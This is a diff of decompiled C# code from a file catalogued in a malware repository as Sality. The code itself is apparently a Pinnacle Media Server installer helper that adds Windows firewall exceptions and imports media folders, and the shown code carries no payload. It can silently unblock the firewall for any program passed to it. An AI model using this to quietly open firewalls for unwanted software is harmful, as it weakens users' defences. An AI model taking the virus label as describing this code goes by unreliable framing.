+  int Count { [DispId(1)] get; }
+
+  [DispId(2)]
+  void Add([MarshalAs(UnmanagedType.Interface), In] INetFwOpenPort Port);
+
+  [DispId(3)]
+  void Remove([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol);
+
+  [DispId(4)]
+  [return: MarshalAs(UnmanagedType.Interface)]
+  INetFwOpenPort Item([In] int portNumber, [In] NET_FW_IP_PROTOCOL_ ipProtocol);
+
+  [DispId(-4)]
+  [TypeLibFunc(1)]
+  [return: MarshalAs(UnmanagedType.CustomMarshaler)]
+  new IEnumerator GetEnumerator();
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwPolicy.cs

@@ -0,0 +1,20 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwPolicy
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("D46D2478-9AC9-4008-9DC7-5563CE5536CC")]
+[ComImport]
+public interface INetFwPolicy
+{
+  [DispId(1)]
+  INetFwProfile CurrentProfile { [DispId(1)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(2)]
+  [return: MarshalAs(UnmanagedType.Interface)]
+  INetFwProfile GetProfileByType([In] NET_FW_PROFILE_TYPE_ profileType);
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwProfile.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwProfile
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("174A0DDA-E9F9-449D-993B-21AB667CA456")]
+[ComImport]
+public interface INetFwProfile
+{
+  [DispId(1)]
+  NET_FW_PROFILE_TYPE_ Type { [DispId(1)] get; }
+
+  [DispId(2)]
+  bool FirewallEnabled { [DispId(2)] get; [DispId(2)] set; }
+
+  [DispId(3)]
+  bool ExceptionsNotAllowed { [DispId(3)] get; [DispId(3)] set; }
+
+  [DispId(4)]
+  bool NotificationsDisabled { [DispId(4)] get; [DispId(4)] set; }
+
+  [DispId(5)]
+  bool UnicastResponsesToMulticastBroadcastDisabled { [DispId(5)] get; [DispId(5)] set; }
+
+  [DispId(6)]
+  INetFwRemoteAdminSettings RemoteAdminSettings { [DispId(6)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(7)]
+  INetFwIcmpSettings IcmpSettings { [DispId(7)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(8)]
+  INetFwOpenPorts GloballyOpenPorts { [DispId(8)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(9)]
+  INetFwServices Services { [DispId(9)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(10)]
+  INetFwAuthorizedApplications AuthorizedApplications { [DispId(10)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwRemoteAdminSettings.cs

@@ -0,0 +1,25 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwRemoteAdminSettings
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[Guid("D4BECDDF-6F73-4A83-B832-9C66874CD20E")]
+[TypeLibType(4160)]
+[ComImport]
+public interface INetFwRemoteAdminSettings
+{
+  [DispId(1)]
+  NET_FW_IP_VERSION_ IpVersion { [DispId(1)] get; [DispId(1)] set; }
+
+  [DispId(2)]
+  NET_FW_SCOPE_ Scope { [DispId(2)] get; [DispId(2)] set; }
+
+  [DispId(3)]
+  string RemoteAddresses { [DispId(3)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(3)] set; }
+
+  [DispId(4)]
+  bool Enabled { [DispId(4)] get; [DispId(4)] set; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwService.cs

@@ -0,0 +1,37 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwService
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("79FD57C8-908E-4A36-9888-D5B3F0A444CF")]
+[ComImport]
+public interface INetFwService
+{
+  [DispId(1)]
+  string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; }
+
+  [DispId(2)]
+  NET_FW_SERVICE_TYPE_ Type { [DispId(2)] get; }
+
+  [DispId(3)]
+  bool Customized { [DispId(3)] get; }
+
+  [DispId(4)]
+  NET_FW_IP_VERSION_ IpVersion { [DispId(4)] get; [DispId(4)] set; }
+
+  [DispId(5)]
+  NET_FW_SCOPE_ Scope { [DispId(5)] get; [DispId(5)] set; }
+
+  [DispId(6)]
+  string RemoteAddresses { [DispId(6)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(6)] set; }
+
+  [DispId(7)]
+  bool Enabled { [DispId(7)] get; [DispId(7)] set; }
+
+  [DispId(8)]
+  INetFwOpenPorts GloballyOpenPorts { [DispId(8)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwServices.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwServices
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Collections;
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("79649BB4-903E-421B-94C9-79848E79F6EE")]
+[ComImport]
+public interface INetFwServices : IEnumerable
+{
+  [DispId(1)]
+  int Count { [DispId(1)] get; }
+
+  [DispId(2)]
+  [return: MarshalAs(UnmanagedType.Interface)]
+  INetFwService Item([In] NET_FW_SERVICE_TYPE_ svcType);
+
+  [DispId(-4)]
+  [TypeLibFunc(1)]
+  [return: MarshalAs(UnmanagedType.CustomMarshaler)]
+  new IEnumerator GetEnumerator();
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_PROTOCOL_.cs

@@ -0,0 +1,11 @@
+// Decompiled with JetBrains decompiler
+// Type: NET_FW_IP_PROTOCOL_
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+public enum NET_FW_IP_PROTOCOL_
+{
+  NET_FW_IP_PROTOCOL_TCP = 6,
+  NET_FW_IP_PROTOCOL_UDP = 17, // 0x00000011
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_IP_VERSION_.cs

@@ -0,0 +1,13 @@
+// Decompiled with JetBrains decompiler
+// Type: NET_FW_IP_VERSION_
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+public enum NET_FW_IP_VERSION_
+{
+  NET_FW_IP_VERSION_V4,
+  NET_FW_IP_VERSION_V6,
+  NET_FW_IP_VERSION_ANY,
+  NET_FW_IP_VERSION_MAX,
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_PROFILE_TYPE_.cs

@@ -0,0 +1,13 @@
+// Decompiled with JetBrains decompiler
+// Type: NET_FW_PROFILE_TYPE_
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+public enum NET_FW_PROFILE_TYPE_
+{
+  NET_FW_PROFILE_DOMAIN,
+  NET_FW_PROFILE_STANDARD,
+  NET_FW_PROFILE_CURRENT,
+  NET_FW_PROFILE_TYPE_MAX,
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SCOPE_.cs

@@ -0,0 +1,13 @@
+// Decompiled with JetBrains decompiler
+// Type: NET_FW_SCOPE_
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+public enum NET_FW_SCOPE_
+{
+  NET_FW_SCOPE_ALL,
+  NET_FW_SCOPE_LOCAL_SUBNET,
+  NET_FW_SCOPE_CUSTOM,
+  NET_FW_SCOPE_MAX,
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/NET_FW_SERVICE_TYPE_.cs

@@ -0,0 +1,14 @@
+// Decompiled with JetBrains decompiler
+// Type: NET_FW_SERVICE_TYPE_
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+public enum NET_FW_SERVICE_TYPE_
+{
+  NET_FW_SERVICE_FILE_AND_PRINT,
+  NET_FW_SERVICE_UPNP,
+  NET_FW_SERVICE_REMOTE_DESKTOP,
+  NET_FW_SERVICE_NONE,
+  NET_FW_SERVICE_TYPE_MAX,
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/FirewallConfig/WinXPFirewall.cs

@@ -0,0 +1,134 @@
+// Decompiled with JetBrains decompiler
+// Type: PinnacleSys.FirewallConfig.WinXPFirewall
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System;
+using System.Collections;
+
+namespace PinnacleSys.FirewallConfig
+{
+  public class WinXPFirewall
+  {
+    private INetFwMgr m_Mgr = (INetFwMgr) null;
+
+    public WinXPFirewall()
+    {
+      try
+      {
+        this.m_Mgr = (INetFwMgr) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.fwmgr"));
+      }
+      catch (Exception ex)
+      {
+      }
+    }
+
+    public bool Available => this.m_Mgr != null;
+
+    public bool AddApp(
+      string AppName,
+      string ProcessImageFileName,
+      bool bEnable,
+      NET_FW_SCOPE_ scope)
+    {
+      bool flag = false;
+      try
+      {
+        INetFwAuthorizedApplication instance = (INetFwAuthorizedApplication) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.fwauthorizedapplication"));
+        instance.Name = AppName;
+        instance.ProcessImageFileName = ProcessImageFileName;
+        instance.Enabled = bEnable;
+        instance.Scope = scope;
+        this.m_Mgr.LocalPolicy.CurrentProfile.AuthorizedApplications.Add(instance);
+        flag = true;
+      }
+      catch
+      {
+      }
+      return flag;
+    }
+
+    public bool AddPort(
+      int port,
+      NET_FW_IP_PROTOCOL_ protocol,
+      string name,
+      bool enable,
+      bool local)
+    {
+      try
+      {
+        INetFwOpenPort port1 = this.GetPort(port, protocol);
+        if (port1 != null)
+        {
+          port1.Enabled = enable;
+          port1.Scope = NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET;
+          return true;
+        }
+        INetFwOpenPort instance = (INetFwOpenPort) Activator.CreateInstance(Type.GetTypeFromProgID("hnetcfg.FwOpenPort"));
+        instance.Enabled = enable;
+        instance.Scope = NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET;
+        instance.Name = name;
+        instance.Port = port;
+        instance.Protocol = protocol;
+        this.m_Mgr.LocalPolicy.CurrentProfile.GloballyOpenPorts.Add(instance);
+        return true;
+      }
+      catch (Exception ex)
+      {
+        return false;
+      }
+    }
+
+    public bool RemovePort(int port, NET_FW_IP_PROTOCOL_ protocol)
+    {
+      try
+      {
+        this.m_Mgr.LocalPolicy.CurrentProfile.GloballyOpenPorts.Remove(port, protocol);
+        return true;
+      }
+      catch (Exception ex)
+      {
+        return false;
+      }
+    }
+
+    public bool IsPortEnabled(int port, NET_FW_IP_PROTOCOL_ protocol)
+    {
+      INetFwOpenPort port1 = this.GetPort(port, protocol);
+      return port1 != null && port1.Enabled;
+    }
+
+    public INetFwOpenPort GetPort(int port, NET_FW_IP_PROTOCOL_ protocol)
+    {
+      INetFwProfile currentProfile = this.m_Mgr.LocalPolicy.CurrentProfile;
+      IEnumerator enumerator1 = currentProfile.GloballyOpenPorts.GetEnumerator();
+      INetFwOpenPort port1 = this.__GetPort(port, protocol, enumerator1);
+      if (port1 != null)
+        return port1;
+      foreach (INetFwService service in currentProfile.Services)
+      {
+        IEnumerator enumerator2 = service.GloballyOpenPorts.GetEnumerator();
+        INetFwOpenPort port2 = this.__GetPort(port, protocol, enumerator2);
+        if (port2 != null)
+          return port2;
+      }
+      return (INetFwOpenPort) null;
+    }
+
+    private INetFwOpenPort __GetPort(
+      int port,
+      NET_FW_IP_PROTOCOL_ protocol,
+      IEnumerator iter)
+    {
+      iter.Reset();
+      while (iter.MoveNext())
+      {
+        INetFwOpenPort current = (INetFwOpenPort) iter.Current;
+        if (current.Port == port && current.Protocol == protocol)
+          return current;
+      }
+      return (INetFwOpenPort) null;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.cs

@@ -0,0 +1,288 @@
+// Decompiled with JetBrains decompiler
+// Type: PinnacleSys.MediaServer.MainForm
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using PinnacleSys.FirewallConfig;
+using System;
+using System.Collections;
+using System.ComponentModel;
+using System.Drawing;
+using System.IO;
+using System.Text;
+using System.Windows.Forms;
+
+namespace PinnacleSys.MediaServer
+{
+  public class MainForm : Form
+  {
+    private IPMediaServerProxy m_MediaServerProxy = (IPMediaServerProxy) null;
+    private DateTime m_FailTime;
+    private Timer m_Timer = new Timer();
+    private bool m_ScanSubfolder = false;
+    private bool m_Relative = false;
+    private string m_RelativRoot = (string) null;
+    private ArrayList m_ImportFolders = new ArrayList();
+    private FolderImporter m_Importer = (FolderImporter) null;
+    private bool m_Done = false;
+    private int m_FolderIndex = 0;
+    private bool m_Quiet = false;
+    private ArrayList m_FWAddFiles = new ArrayList();
+    private GroupBox groupBox;
+    private System.Windows.Forms.Label label;
+    private Container components = (Container) null;
+
+    public MainForm(string[] args)
+    {
+      this.InitializeComponent();
+      if (args.Length == 0)
+      {
+        StringBuilder stringBuilder = new StringBuilder();
+        stringBuilder.Append("Commandline:\n");
+        stringBuilder.Append("\n   /fw AppPath1 AppPath2\t- unblock firewall for these programs ( local scope )");
+        stringBuilder.Append("\n   /q\t\t\t- quiet media import");
+        stringBuilder.Append("\n   /r RootPath\t\t- import folders are realtiv to this root path");
+        stringBuilder.Append("\n   /f Folder1 Folder2\t\t- import folders (absolut or relativ(/r) )");
+        stringBuilder.Append("\n   /l FilePath\t\t- textfile which contains import folder list (absolut or relativ(/r)");
+        stringBuilder.Append("\n   /s\t\t\t- scan also subfolder");
+        int num = (int) MessageBox.Show(stringBuilder.ToString(), "PMS Install Init", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
+        throw new Exception();
+      }
+      this.ParseArgs(args);
+      try
+      {
+        WinXPFirewall winXpFirewall = new WinXPFirewall();
+        string executablePath = Application.ExecutablePath;
+        winXpFirewall.AddApp(Path.GetFileName(executablePath), executablePath, true, NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET);
+        for (int index = 0; index < this.m_FWAddFiles.Count; ++index)
+          winXpFirewall.AddApp(Path.GetFileName((string) this.m_FWAddFiles[index]), (string) this.m_FWAddFiles[index], true, NET_FW_SCOPE_.NET_FW_SCOPE_LOCAL_SUBNET);
+      }
+      catch
+      {
+      }
+      if (this.m_ImportFolders.Count == 0)
+        throw new Exception();
+      if (this.m_Quiet)
+        this.Hide();
+      else
+        this.Show();
+      this.m_Timer.Tick += new EventHandler(this.TimerEvent);
+      this.m_Timer.Interval = 1000;
+      this.m_Timer.Start();
+    }
+
+    protected override void Dispose(bool disposing)
+    {
+      if (disposing && this.components != null)
+        this.components.Dispose();
+      base.Dispose(disposing);
+    }
+
+    private void TimerEvent(object myObject, EventArgs myEventArgs)
+    {
+      if (this.m_MediaServerProxy == null)
+      {
+        this.m_MediaServerProxy = MediaServerProxy.CreateProxy();
+        if (this.m_MediaServerProxy == null)
+        {
+          this.m_Timer.Stop();
+        }
+        else
+        {
+          this.m_FailTime = DateTime.Now.AddMinutes(1.0);
+          this.Box("Waiting for MediaServer connection ...");
+        }
+      }
+      else if (!this.m_MediaServerProxy.IsConnected)
+      {
+        if (DateTime.Now > this.m_FailTime)
+        {
+          this.m_Timer.Stop();
+          Application.Exit();
+        }
+        else
+        {
+          try
+          {
+            this.m_MediaServerProxy.Connect();
+          }
+          catch (MediaServerException ex)
+          {
+          }
+        }
+      }
+      else
+      {
+        if (this.m_Done)
+          return;
+        if (this.m_FolderIndex >= this.m_ImportFolders.Count)
+        {
+          this.m_Timer.Stop();
+          Application.Exit();
+        }
+        else
+        {
+          if (this.m_Importer == null)
+          {
+            this.m_Importer = new FolderImporter(((IPMediaServer) this.m_MediaServerProxy).GetMediaContext((string) null));
+            this.m_Importer.IncludeSubdirectories = this.m_ScanSubfolder;
+            // ISSUE: method pointer
+            this.m_Importer.FileDetected += new FolderImporter.PathFileEventHandler2((object) this, __methodptr(Import_FileDetected));
+            // ISSUE: method pointer
+            this.m_Importer.Done += new FolderImporter.PathFileEventHandler((object) this, __methodptr(Import_Done));
+          }
+          this.Box("Importing ... ");
+          this.m_Importer.Path = (string) this.m_ImportFolders[this.m_FolderIndex++];
+          this.m_Importer.Run();
+          this.m_Done = false;
+        }
+      }
+    }
+
+    private bool Import_FileDetected(IPMediaItem item)
+    {
+      this.Label(((IPPropertiesBase) item).StoragePath);
+      return true;
+    }
+
+    private bool Import_Done(string fullpath)
+    {
+      this.Label("");
+      this.m_Done = true;
+      return true;
+    }
+
+    private void Box(string text)
+    {
+      this.groupBox.Text = text;
+      this.groupBox.Update();
+    }
+
+    private void Label(string text)
+    {
+      this.label.Text = text;
+      this.label.Update();
+    }
+
+    private bool ParseArgs(string[] args)
+    {
+      int index1 = 0;
+label_33:
+      while (index1 < args.Length)
+      {
+        string lower = args[index1++].ToLower();
+        if (lower == "/s")
+          this.m_ScanSubfolder = true;
+        else if (lower == "/q")
+          this.m_Quiet = true;
+        else if (lower == "/r")
+        {
+          if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0)
+            return false;
+          this.m_RelativRoot = args[index1++];
+          this.m_Relative = true;
+        }
+        else if (lower == "/f")
+        {
+          if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0)
+            return false;
+          while (true)
+          {
+            if (index1 < args.Length && args[index1].IndexOf("/", 0, 1) < 0)
+              this.m_ImportFolders.Add((object) args[index1++]);
+            else
+              goto label_33;
+          }
+        }
+        else if (lower == "/l")
+        {
+          if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0)
+            return false;
+          string path = args[index1++];
+          if (!File.Exists(path))
+            return false;
+          StreamReader streamReader = (StreamReader) null;
+          try
+          {
+            streamReader = File.OpenText(path);
+            string str;
+            while ((str = streamReader.ReadLine()) != null)
+            {
+              if (str.Length != 0)
+                this.m_ImportFolders.Add((object) str);
+            }
+          }
+          catch
+          {
+            return false;
+          }
+          finally
+          {
+            streamReader?.Close();
+          }
+        }
+        else if (lower == "/fw")
+        {
+          if (index1 >= args.Length || args[index1].IndexOf("/", 0, 1) >= 0)
+            return false;
+          while (true)
+          {
+            if (index1 < args.Length && args[index1].IndexOf("/", 0, 1) < 0)
+              this.m_FWAddFiles.Add((object) args[index1++]);
+            else
+              goto label_33;
+          }
+        }
+      }
+      if (this.m_Relative)
+      {
+        for (int index2 = 0; index2 < this.m_ImportFolders.Count; ++index2)
+          this.m_ImportFolders[index2] = (object) (this.m_RelativRoot + "\\" + this.m_ImportFolders[index2]);
+      }
+      return true;
+    }
+
+    private void InitializeComponent()
+    {
+      this.groupBox = new GroupBox();
+      this.label = new System.Windows.Forms.Label();
+      this.groupBox.SuspendLayout();
+      this.SuspendLayout();
+      this.groupBox.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right;
+      this.groupBox.Controls.Add((Control) this.label);
+      this.groupBox.Location = new Point(8, 16);
+      this.groupBox.Name = "groupBox";
+      this.groupBox.Size = new Size(432, 72);
+      this.groupBox.TabIndex = 1;
+      this.groupBox.TabStop = false;
+      this.label.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
+      this.label.Location = new Point(8, 24);
+      this.label.Name = "label";
+      this.label.Size = new Size(416, 40);
+      this.label.TabIndex = 0;
+      this.AutoScaleBaseSize = new Size(5, 13);
+      this.ClientSize = new Size(448, 110);
+      this.Controls.Add((Control) this.groupBox);
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = nameof (MainForm);
+      this.ShowInTaskbar = false;
+      this.Text = "Pinnacle Install Init";
+      this.groupBox.ResumeLayout(false);
+      this.ResumeLayout(false);
+    }
+
+    [STAThread]
+    private static void Main(string[] args)
+    {
+      try
+      {
+        Application.Run((ApplicationContext) new MyApplicationContext(args));
+      }
+      catch
+      {
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/PinnacleSys/MediaServer/MainForm.resx

@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
